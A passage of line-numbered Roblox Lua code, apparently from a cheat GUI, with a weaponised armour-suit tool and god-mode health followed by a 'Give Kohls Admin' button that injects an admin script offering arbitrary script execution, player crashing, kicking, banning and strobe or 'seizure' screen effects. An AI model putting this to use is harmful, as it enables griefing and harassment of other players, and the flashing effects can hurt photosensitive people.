  2544. Gsh2w.Parent = Gsh2
  2545. Gsh2w.C0 = CFrame.new(0,-0.48,0)*CFrame.fromEulerAnglesXYZ(0,1.5,0)
  2546.  
  2547. Gss = Instance.new("Part")
  2548. Gss.CanCollide = true
  2549. Gss.Anchored = false
  2550. Gss.Transparency = 0
  2551. Gss.Locked = true
  2552. Gss.archivable = false
  2553. Gss.TopSurface = 0
  2554. Gss.BottomSurface = 0
  2555. Gss.Size = Vector3.new(2,5,1)
  2556. Gss.formFactor = "Symmetric"
  2557. Gss.BrickColor = BrickColor.new("Mid gray")
  2558. Gss.CFrame = Pt.CFrame - Vector3.new(0,-1.5,0)
  2559.  
  2560. Gssm = Instance.new("SpecialMesh")
  2561. Gssm.Parent = Gss
  2562. Gssm.MeshType = "Brick"
  2563. Gssm.Scale = Vector3.new(0.8,1,0.2)
  2564.  
  2565. Gss.Parent = NewTool
  2566. Gssw = Instance.new("Weld")
  2567. Gssw.Part0 = Gss
  2568. Gssw.Part1 = Gsh2
  2569. Gssw.Parent = Gss
  2570. Gssw.C0 = CFrame.new(0,-2.5,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
  2571.  
  2572. Gsw1 = Instance.new("Part")
  2573. Gsw1.Name = "Blade"
  2574. Gsw1.CanCollide = true
  2575. Gsw1.Anchored = false
  2576. Gsw1.Transparency = 0
  2577. Gsw1.Locked = true
  2578. Gsw1.archivable = false
  2579. Gsw1.TopSurface = 0
  2580. Gsw1.BottomSurface = 0
  2581. Gsw1.Size = Vector3.new(2,5,1)
  2582. Gsw1.formFactor = "Symmetric"
  2583. Gsw1.BrickColor = BrickColor.new("Mid gray")
  2584. Gsw1.CFrame = Pt.CFrame - Vector3.new(0,-1.5,0)
  2585.  
  2586. gsbg = Instance.new("BodyGyro")
  2587. gsbg.Parent = Gsh1
  2588.  
  2589. gsbp = Instance.new("BodyPosition")
  2590. gsbp.Parent = Gsh1
  2591. gsbp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2592. gsbp.position = Gsh1.Position
  2593.  
  2594.  
  2595.  
  2596. for i=1,12 do
  2597. Pm.Scale = Pm.Scale - Vector3.new(0.4,0.8,0.4)
  2598. wait(0.05)
  2599. end
  2600. Pt:Remove()
  2601.  
  2602. wait(0.5)
  2603.  
  2604. gsbp.position = Suit.RightArmArmor.Position
  2605.  
  2606. wait(1)
  2607.  
  2608. Gsh1.BodyGyro:Remove()
  2609. Gsh1.BodyPosition:Remove()
  2610.  
  2611. Gsh1w = Instance.new("Weld")
  2612. Gsh1w.Part0 = Gsh1
  2613. Gsh1w.Part1 = Suit.RightArmArmor
  2614. Gsh1w.Parent = Gsh1
  2615. Gsh1w.C0 = CFrame.new(0.5,1,0)*CFrame.fromEulerAnglesXYZ(0,1.5,0)
  2616.  
  2617. wait(0.5)
  2618.  
  2619. Ta.Anchored = false
  2620.  
  2621. wait(0.5)
  2622. AnimatingTools = false
  2623. Debounce = False
  2624. end
  2625. end
  2626. end
  2627. if (key == "K") then
  2628. if (Debounce == false) then
  2629. if (Lazer == false) then
  2630. Debounce = true
  2631. Lazer = true
  2632. DisableLimb(NormalHand)
  2633. SetAngle(NormalHand, 0.785)
  2634. BP = Instance.new("BodyPosition")
  2635. BP.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  2636. BP.P = BP.P / 4
  2637. BG = Instance.new("BodyGyro")
  2638. BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  2639. local targ = nil
  2640. local Mag = nil
  2641. local Pos = nil
  2642. while true do
  2643. if (Lazer == false) then
  2644. break
  2645. end
  2646. if (mouse.Target ~= nil) and (targ == nil) then
  2647. if (mouse.Target.Anchored == false) then
  2648. if ((mouse.Hit.p - Person.Character.Suit.Watch2.Position).magnitude <= 10000) then
  2649. targ = mouse.Target
  2650. BP.Parent = targ
  2651. BG.Parent = targ
  2652. Mag = (targ.Position - mouse.Hit.p).magnitude
  2653. Pos = (targ.Position - mouse.Hit.p).unit * -Mag
  2654. end
  2655. end
  2656. end
  2657. local pop = mouse.Hit.p
  2658. local G = Instance.new("Part")
  2659. G.Parent = Person.Character
  2660. G.Name = "Grab Lazer"
  2661. G.Anchored = true
  2662. G.Locked = true
  2663. G.CanCollide = false
  2664. G.formFactor = 0
  2665. G.Size = Vector3.new(1, 1, 1)
  2666. G.BrickColor = BrickColor.new("Royal blue")
  2667. G.Reflectance = 0.05
  2668. G.Transparency = 0.025
  2669. local Place0 = Person.Character.Suit.Watch2.CFrame * CFrame.new(0, -0.1, 0)
  2670. local MeAsh = Instance.new("CylinderMesh")
  2671. MeAsh.Parent = G
  2672. if (targ == nil) or (targ.Anchored == true) then
  2673. MeAsh.Scale = Vector3.new(0.1, (Place0.p-pop).magnitude, 0.1)
  2674. G.CFrame = CFrame.new((Place0.p + pop)/2, Place0.p) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0)
  2675. else
  2676. BP.Parent = targ
  2677. BP.position = (PersonT.CFrame + (mouse.Hit.lookVector * 8) + Pos).p + Vector3.new(0, 5.7, 0)
  2678. BG.Parent = targ
  2679. BG.cframe = CFrame.new(targ.Position, PersonT.Position)
  2680. if (targ.Parent == nil) or (targ.Parent.Parent == Person.Character) then
  2681. BP.Parent = nil
  2682. BG.Parent = nil
  2683. end
  2684. MeAsh.Scale = Vector3.new(0.1, (Place0.p - targ.Position).magnitude, 0.1)
  2685. G.CFrame = CFrame.new((Place0.p + (targ.Position + Pos))/2, Place0.p) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0)
  2686. end
  2687. wait()
  2688. G:Remove()
  2689. end
  2690. Debounce = false
  2691. EnableLimb(NormalHand)
  2692. BP.Parent = nil
  2693. BG.Parent = nil
  2694. end
  2695. end
  2696. end
  2697.  
  2698. end
  2699.  
  2700. print("7")
  2701.  
  2702.  
  2703. function LiftKey(key, mouse)
  2704. key = key:upper()
  2705. if (key == "L") then
  2706. if (Person.Character.Suit.Band:findFirstChild("Smoke") ~= nil) then
  2707. Person.Character.Suit.Band.Smoke:remove()
  2708. EnableLimb(NormalHand)
  2709. end
  2710. end
  2711. if (key == "H") then
  2712. if (Person.Character:findFirstChild("Grapple Lazer") ~= nil) then
  2713. Lazer = false
  2714. end
  2715. end
  2716. if (key == "J") then
  2717. if (Person.Character:findFirstChild("Kill Lazer") ~= nil) then
  2718. Lazer = false
  2719. end
  2720. end
  2721. if (key == "K") then
  2722. if (Person.Character:findFirstChild("Grab Lazer") ~= nil) then
  2723. Lazer = false
  2724. end
  2725. end
  2726. if (key == "X") then
  2727. if (Person.Character:findFirstChild(" Lazer") ~= nil) then
  2728. Lazer = false
  2729. end
  2730. end
  2731. end
  2732. function Select(mouse)
  2733. mouse.Button1Down:connect(function() Click(mouse) end)
  2734. mouse.Button1Up:connect(function() Release(mouse) end)
  2735. mouse.KeyDown:connect(function(key) PressKey(key, mouse) end)
  2736. mouse.KeyUp:connect(function(key) LiftKey(key, mouse) end)
  2737. end
  2738.  
  2739. print("8")
  2740.  
  2741. function Deselect(mouse)
  2742. Hold = false
  2743. Lazer = false
  2744. Flight = false
  2745. end
  2746.  
  2747. print("9 =D")
  2748.  
  2749. ModeDebounce = false
  2750. script.Parent.Selected:connect(function(mouse)
  2751. mouse.KeyDown:connect(function(key)
  2752. key = key:lower()
  2753.  
  2754. if (key=="z") and (ModeDebounce == false) then -- z charge ball to fire blast
  2755. ModeDebounce = true
  2756. --[[
  2757. a["Left Hip"].DesiredAngle = 0
  2758. a["Right Hip"].DesiredAngle = 0
  2759. a["Right Shoulder"].DesiredAngle = 3.1
  2760. a["Left Shoulder"].DesiredAngle = 3.1 ]]
  2761. wait()
  2762. Suit.TorsoArmor.Anchored = true
  2763.  
  2764. OldWs = Character.Humanoid.WalkSpeed
  2765. Character.Humanoid.WalkSpeed = 0
  2766.  
  2767. wait(1)
  2768.  
  2769. Cb = Instance.new("Part")
  2770. Cb.Name = "ChargeBall"
  2771. Cb.formFactor = "Symmetric"
  2772. Cb.Shape = "Ball"
  2773. Cb.Size = Vector3.new(1,1,1)
  2774. Cb.Anchored = true
  2775. Cb.TopSurface = "Smooth"
  2776. Cb.BottomSurface = "Smooth"
  2777. Cb.Locked = true
  2778. Cb.BrickColor = BrickColor.new("Really black")
  2779. Cb.Transparency = 0.5
  2780. Cb.Parent = Character
  2781. Cb.CFrame = Character.Head.CFrame + Vector3.new(0,2,0)
  2782.  
  2783. for i=1,20 do
  2784. Suit.TorsoArmor.Cast:play()
  2785. Cb.Size = Cb.Size + Vector3.new(1,1,1)
  2786. Cb.CFrame = Cb.CFrame + Vector3.new(0,0.5,0)
  2787. wait(0.05)
  2788. end
  2789.  
  2790. Cb1 = Instance.new("Part")
  2791. Cb1.Name = "ChargeBall"
  2792. Cb1.formFactor = "Symmetric"
  2793. Cb1.Shape = "Ball"
  2794. Cb1.Size = Vector3.new(1,1,1)
  2795. Cb1.Anchored = true
  2796. Cb1.TopSurface = "Smooth"
  2797. Cb1.BottomSurface = "Smooth"
  2798. Cb1.Locked = true
  2799. Cb1.BrickColor = BrickColor.new("Really black")
  2800. Cb1.Transparency = 0.5
  2801. Cb1.Parent = Character
  2802. Cb1.CFrame = Cb.CFrame
  2803.  
  2804. Cb:Remove()
  2805.  
  2806. Cb = Cb1
  2807.  
  2808. Instance.new("ForceField").Parent = Character
  2809.  
  2810. Cb.Size = Vector3.new(1,1,1)
  2811.  
  2812. Range = 0
  2813.  
  2814. Suit.TorsoArmor.Anchored = false
  2815. Character.Humanoid.WalkSpeed = OldWs
  2816.  
  2817.  
  2818. for i=1,5 do
  2819. wait()
  2820. Suit.TorsoArmor.Ex:play()
  2821. ex1 = Instance.new("Explosion")
  2822. ex1.BlastPressure = 2500
  2823. ex1.BlastRadius = 25
  2824. ex1.Position = Cb.Position + Cb.CFrame.lookVector * Range
  2825. ex1.Parent = game.Workspace
  2826. Range = Range + 50
  2827. wait(0.1)
  2828. end
  2829.  
  2830. Character.ForceField:Remove()
  2831.  
  2832.  
  2833.  
  2834. for i=1,5 do
  2835. wait()
  2836. Suit.TorsoArmor.Ex:play()
  2837. ex1 = Instance.new("Explosion")
  2838. ex1.BlastPressure = 5000
  2839. ex1.BlastRadius = 100
  2840. ex1.Position = Cb.Position + Cb.CFrame.lookVector * 250
  2841. wait()
  2842. --ex1.Position = ex1.Position + Vector3.new(-100,100,-100,100,-100,100)
  2843. ex1.Parent = game.Workspace
  2844. wait(0.1)
  2845. end
  2846.  
  2847. Cb:Remove()
  2848.  
  2849. wait(0.5)
  2850.  
  2851.  
  2852. ModeDebounce = false
  2853.  
  2854.  
  2855.  
  2856. elseif (key=="m") and (ModeDebounce == false) then -- Spiral BaleFiraz :D
  2857. ModeDebounce = true
  2858. Instance.new("ForceField").Parent = Character
  2859. Instance.new("BodyAngularVelocity").Parent = Torso
  2860. Torso.BodyAngularVelocity.Name = "Bav"
  2861. Torso.Bav.maxTorque = Vector3.new(0,math.huge,0)
  2862. Torso.Bav.angularvelocity = Vector3.new(0,100,0)
  2863.  
  2864. Range = 10
  2865.  
  2866. for i=1,10 do
  2867. wait()
  2868. Suit.TorsoArmor.Ex:play()
  2869. ex1 = Instance.new("Explosion")
  2870. ex1.BlastPressure = 5000
  2871. ex1.BlastRadius = 10
  2872. ex1.Position = Torso.Position + Torso.CFrame.lookVector * Range
  2873. ex1.Parent = game.Workspace
  2874.  
  2875. ex2 = Instance.new("Explosion")
  2876. ex2.BlastPressure = 5000
  2877. ex2.BlastRadius = 10
  2878. ex2.Position = Torso.Position + Torso.CFrame.lookVector * -Range
  2879. ex2.Parent = game.Workspace
  2880.  
  2881. Range = Range + 10
  2882. wait(0.1)
  2883. end
  2884.  
  2885. Character.ForceField:Remove()
  2886. Torso.Bav:Remove()
  2887.  
  2888. wait(0.5)
  2889.  
  2890. ModeDebounce = false
  2891.  
  2892.  
  2893. else
  2894. end
  2895.  
  2896.  
  2897. end)
  2898. end)
  2899. -- End Keys
  2900.  
  2901. print("End")
  2902.  
  2903.  
  2904. Bin.Selected:connect(Select)
  2905. Bin.Deselected:connect(Deselect)
  2906.  
  2907. print("Scripting Rocks!")
  2908.  
  2909. Character.Humanoid.MaxHealth = 999999999
  2910. Character.Humanoid.Health = 999999999
  2911.  
  2912. while true do
  2913. wait()
  2914. dsbp.position = Torso.Position
  2915. if (Flight == true) then
  2916. Bs.Sparkles.Enabled = true
  2917. w11.Motor.DesiredAngle = -0.5
  2918. w21.Motor.DesiredAngle = 0.5
  2919. wait(0.15)
  2920. w11.Motor.DesiredAngle = 0.5
  2921. w21.Motor.DesiredAngle = -0.5
  2922. wait(0.15)
  2923. elseif (Flight == false) then
  2924. Bs.Sparkles.Enabled = false
  2925. w11.Motor.DesiredAngle = 0
  2926. w21.Motor.DesiredAngle = 0
  2927. wait()
  2928. else
  2929. end
  2930. end
  2931.  
  2932. print("11 8D") -- this line fails but doesnt 8D
  2933. end)
  2934.  
  2935. local button11 = Instance.new("TextButton", tl2)
  2936. button11.Size = UDim2.new(0,800,0,50)
  2937. button11.Position = UDim2.new(0,0,0,60)
  2938. button11.Text = 'Give Kohls Admin'
  2939. button11.Font = 'Legacy'
  2940. button11.FontSize = 'Size14'
  2941. button11.BackgroundTransparency = 0.5
  2942. button11.BackgroundColor3 = Color3.new(46, 189, 168)
  2943. button11.BorderColor3 = Color3.new(46, 189, 168)
  2944. button11.TextColor3 = Color3.new(56, 255, 249)
  2945. button11.MouseButton1Click:connect(function()
  2946. -----------------------------------------------------------------------------------------
  2947. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  2948. -----------------------------------------------------------------------------------------
  2949. local owners = {"ProFiGames"} -- Are able to set admins who can ban/etc... using :pa name
  2950. local admins = {"OtherNamesHere"} -- Sets admins who can use ban/kick/admin or shutdown
  2951. local tempadmins = {""} -- Sets admins who can't use ban/kick/admin or shutdown
  2952. local banland = {""} -- Permanently Bans people
  2953. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  2954. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  2955. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  2956. ---------------------
  2957. -- VIP Admin --
  2958. ---------------------
  2959. local VipAdmin = false -- If someone can have admin for owning an item
  2960. local ItemId = 0 -- The item they must own in order to have admin
  2961. ---------------------
  2962. -- Group Admin --
  2963. ---------------------
  2964. local GroupAdmin = false -- If a certain group can have admin
  2965. local GroupId = 0 -- Sets the group id that can have admin
  2966. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  2967. ---------------------
  2968. -- Tips and Tricks --
  2969. ---------------------
  2970. --[[
  2971. With this admin you can do a command on multiple people at a time;
  2972. :kill me,noob1,noob2,random,team-raiders,nonadmins
  2973.  
  2974. You can also use a variety commands for different people;
  2975. all
  2976. others
  2977. me
  2978. team-
  2979. admins
  2980. nonadmins
  2981. random
  2982. --]]
  2983. ---------------------
  2984. -- Commands --
  2985. ---------------------
  2986. --[[
  2987. -- |Temp Admin Commands| --
  2988. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  2989. 1. :s print("Hello World") -- Lets you script normally
  2990. 2. :ls print("Hello World") -- Lets you script in localscripts
  2991. 3. :clear -- Will remove all scripts/localscripts and jails
  2992. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  2993. 5. :kill kohl -- Kills the player
  2994. 6. :respawn kohl -- Respawns the player
  2995. 7. :trip kohl -- Trips the player
  2996. 8. :stun kohl -- Stuns the player
  2997. 9. :unstun kohl -- Unstuns the player
  2998. 10. :jump kohl -- Makes the player jump
  2999. 11. :sit kohl -- Makes the player sit
  3000. 12. :invisible kohl -- Makes the player invisible
  3001. 13. :visible kohl -- Makes the player visible
  3002. 14. :explode kohl -- Makes the player explode
  3003. 15. :fire kohl -- Sets the player on fire
  3004. 16. :unfire kohl -- Removes fire from the player
  3005. 17. :smoke kohl -- Adds smoke to the player
  3006. 18. :unsmoke kohl -- Removes smoke from the player
  3007. 19. :sparkles kohl -- Adds sparkles to the player
  3008. 20. :unsparkles kohl -- Removes sparkles from the player
  3009. 21. :ff kohl -- Adds a forcefield to the player
  3010. 22. :unff kohl -- Removes the forcefield from the player
  3011. 23. :punish kohl -- Punishes the player
  3012. 24. :unpunish kohl -- Unpunishes the player
  3013. 25. :freeze kohl -- Freezes the player
  3014. 26. :thaw kohl -- Thaws the player
  3015. 27. :heal kohl -- Heals the player
  3016. 28. :god kohl -- Makes the player have infinite health
  3017. 29. :ungod kohl -- Makes the player have 100 health
  3018. 30. :ambient .5 .5 .5 -- Changes the ambient
  3019. 31. :brightness .5 -- Changes the brightness
  3020. 32. :time 12 -- Changes the time
  3021. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  3022. 34. :fogend 100 -- Changes the fogend
  3023. 35. :fogstart 100 -- Changes the fogstart
  3024. 36. :removetools kohl -- Removes all tools from the player
  3025. 37. :btools kohl -- Gives the player building tools
  3026. 38. :give kohl sword -- Gives the player a tool
  3027. 39. :damage kohl -- Damages the player
  3028. 40. :grav kohl -- Sets the player's gravity to normal
  3029. 41. :setgrav kohl 100 -- Sets the player's gravity
  3030. 42. :nograv kohl -- Makes the player have 0 gravity
  3031. 43. :health kohl 1337 -- Changes the player's health
  3032. 44. :speed kohl 1337 -- Changes the player's walkspeed
  3033. 45. :name kohl potato -- Changes the player's name
  3034. 46. :unname kohl -- Remove the player's name
  3035. 47. :team kohl Raiders -- Changes the player's team
  3036. 48. :stopmusic -- Will stop all music playing in the server
  3037. 49. :teleport kohl potato -- Teleports the player
  3038. 50. :change kohl kills 1337 -- Changes a player's stat
  3039. 51. :kick kohl -- Removes the player from the game
  3040. 52. :infect kohl -- Turns the player into a zombie
  3041. 53. :rainbowify kohl -- Turns the player into a rainbow
  3042. 54. :flashify kohl -- Turns the player into a strobe
  3043. 55. :noobify kohl -- Turns the player into a noob
  3044. 56. :ghostify kohl -- Turns the player into a ghost
  3045. 57. :goldify kohl -- Turns the player into gold
  3046. 58. :shiny kohl -- Makes the player shiny
  3047. 59. :normal kohl -- Puts the player back to normal
  3048. 60. :trippy kohl -- Spams random colors on the player's screen
  3049. 61. :untrippy kohl -- Untrippys the player
  3050. 62. :strobe kohl -- Spams white and black on the player's screen
  3051. 63. :unstrobe kohl -- Unstrobes the player
  3052. 64. :blind kohl -- Blinds the player
  3053. 65. :unblind kohl -- Unblinds the player
  3054. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  3055. 67. :fling kohl -- Flings the player
  3056. 68. :seizure kohl -- Puts the player in a seizure
  3057. 69. :music 1337 -- Plays a sound from the ID
  3058. 70. :lock kohl -- Locks the player
  3059. 71. :unlock kohl -- Unlocks the player
  3060. 72. :removelimbs kohl -- Removes the player's limbs
  3061. 73. :jail kohl -- Puts the player in a jail
  3062. 74. :unjail kohl -- Removes the jail from the player
  3063. 75. :fix -- This will fix the lighting to it's original settings
  3064. 76. :fly kohl -- Makes the player fly
  3065. 77. :unfly kohl -- Removes fly from the player
  3066. 78. :noclip kohl -- Makes the player able to noclip
  3067. 79. :clip kohl -- Removes noclipping from the player
  3068. 80. :pm kohl Hey bro -- Sends the player a private message
  3069. 81. :dog kohl -- Turns the player into a dog
  3070. 82. :undog kohl -- Turns the player back to normal
  3071. 83. :creeper kohl -- Turns the player into a creeper
  3072. 84. :uncreeper kohl -- Turns the player back to normal
  3073. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  3074. 86. :char kohl 261 -- Will make a player look like a different player ID
  3075. 87. :unchar kohl -- Will return the player back to normal
  3076. 88. :h Hello People -- This will shout a hint to everyone
  3077. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  3078. 90. :starttools kohl -- Will give the player starter tools
  3079. 91. :sword kohl -- Will give the player a sword
  3080. 92. :bighead kohl -- Will make the player's head larger than normal
  3081. 93. :minihead kohl -- Will make the player's head smaller than normal
  3082. 94. :insert 1337 -- Will insert a model at the speaker's position
  3083. 95. :disco -- Will make the server flash random colors
  3084. 96. :flash -- Will make the server flash
  3085. 97. :admins -- Shows the admin list
  3086. 98. :bans -- Shows the banlist
  3087. 99. :musiclist -- Shows the music list
  3088. 100. :spin kohl -- Spins the player
  3089. 101. :cape kohl Really black -- Gives the player a colored cape
  3090. 102. :uncape kohl -- Removes the player's cape
  3091. 103. :loopheal kohl -- Will constantly heal the player
  3092. 104. :loopfling kohl -- Will constantly fling the player
  3093. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  3094. 106. :unloopheal kohl -- Will remove the loopheal on the player
  3095. 107. :unloopfling kohl -- Will remove the loopfling on the player
  3096. 108. :unspin kohl -- Removes spin from the player
  3097. 109. :tools -- Gives a list of the tools in the lighting
  3098. 110. :undisco -- Removes disco effects
  3099. 111. :unflash -- Removes flash effects
  3100. 112. :resetstats kohl -- Sets all the stats of a player to 0
  3101. 113. :gear kohl 1337 -- Gives a player a gear
  3102. 114. :cmdbar -- Gives the speaker a command bar
  3103. 115. :shirt kohl 1337 -- Changes the player's shirt
  3104. 116. :pants kohl 1337 -- Changes the player's pants
  3105. 117. :face kohl 1337 -- Changes the player's face
  3106. 118. :swagify kohl -- Swagifies the player
  3107. 119. :version -- Shows the current version of the admin
  3108. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  3109. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  3110. 122. :clone kohl -- Creates a clone of the player
  3111. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  3112. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  3113. 125. :control kohl -- Controls a player
  3114.  
  3115. -- |Admin Commands| --
  3116. - :serverlock -- Locks the server
  3117. - :serverunlock -- Unlocks the server
  3118. - :sm Hello World -- Creates a system message
  3119. - :crash kohl -- Crashes a player
  3120. - :admin kohl -- Admins a player
  3121. - :unadmin kohl -- Unadmins a player
  3122. - :ban kohl -- Bans a player
  3123. - :unban kohl -- Unbans a player
  3124. - :loopkill kohl -- Will constantly kill the player
  3125. - :unloopkill kohl -- Will remove the loopkill on the player
  3126. - :logs -- Will show all of the commands any admin has used in a game session
  3127. - :shutdown -- Shutsdown the server
  3128.  
  3129. -- |Owner Commands| --
  3130. - :pa kohl -- Makes someone a super admin
  3131. - :unpa kohl -- Removes a super admin
  3132. - :nuke kohl -- Creates a nuke on kohl
  3133.  
  3134. -- |True Owner Commands| --
  3135. - :oa kohl -- Makes someone an owner
  3136. - :unoa kohl -- Removes an owner
  3137. - :settings -- Shows settings for the commands
  3138. --]]
  3139. ---------------------
  3140. -- Main Script --
  3141. ---------------------
  3142. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  3143.  
  3144. function CHEESE()
  3145. if game:service("Lighting"):findFirstChild("KACV2") then
  3146. owners = {} admins = {} tempadmins = {} banland = {}
  3147. for i,v in pairs(game.Lighting.KACV2:children()) do
  3148. if v.Name == "Owner" then table.insert(owners, v.Value) end
  3149. if v.Name == "Admin" then table.insert(admins, v.Value) end
  3150. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  3151. if v.Name == "Banland" then table.insert(banland, v.Value) end
  3152. if v.Name == "Prefix" then prefix = v.Value end
  3153. if v.Name == "FunCommands" then FunCommands = v.Value end
  3154. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  3155. if v.Name == "GroupId" then GroupId = v.Value end
  3156. if v.Name == "GroupRank" then GroupRank = v.Value end
  3157. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  3158. if v.Name == "ItemId" then ItemId = v.Value end
  3159. end
  3160. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  3161. end
  3162.  
  3163. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  3164. local lobjs = {}
  3165. local objects = {}
  3166. local logs = {}
  3167. local nfs = ""
  3168. local slock = false
  3169.  
  3170. function GetTime()
  3171. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  3172. if min < 10 then min = "0"..min end
  3173. return hour..":"..min
  3174. end
  3175.  
  3176. function ChkOwner(str)
  3177. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  3178. return false
  3179. end
  3180.  
  3181. function ChkAdmin(str,ck)
  3182. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  3183. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  3184. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  3185. return false
  3186. end
  3187.  
  3188. function ChkGroupAdmin(plr)
  3189. if GroupAdmin then
  3190. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  3191. return false
  3192. end
  3193. end
  3194.  
  3195. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  3196.  
  3197. function GetPlr(plr, str)
  3198. local plrz = {} str = str:lower()
  3199. if str == "all" then plrz = game.Players:children()
  3200. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  3201. else
  3202. local sn = {1} local en = {}
  3203. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  3204. for x = 1, #sn do
  3205. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  3206. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  3207. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  3208. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  3209. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  3210. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  3211. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  3212. end end end
  3213. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  3214. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  3215. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  3216. end end end
  3217. else
  3218. for a, plyr in pairs(game.Players:children()) do
  3219. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  3220. table.insert(plrz, plyr) break
  3221. end
  3222. end
  3223. end
  3224. end
  3225. end
  3226. return plrz
  3227. end
  3228.  
  3229. function Hint(str, plrz, time)
  3230. for i, v in pairs(plrz) do
  3231. if v and v:findFirstChild("PlayerGui") then
  3232. coroutine.resume(coroutine.create(function()
  3233. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  3234. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  3235. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  3236. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  3237. if not time then wait((#str/19)+2.5) else wait(time) end
  3238. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  3239. end))
  3240. end
  3241. end
  3242. end
  3243.  
  3244. function Message(ttl, str, scroll, plrz, time)
  3245. for i, v in pairs(plrz) do
  3246. if v and v:findFirstChild("PlayerGui") then
  3247. coroutine.resume(coroutine.create(function()
  3248. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  3249. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
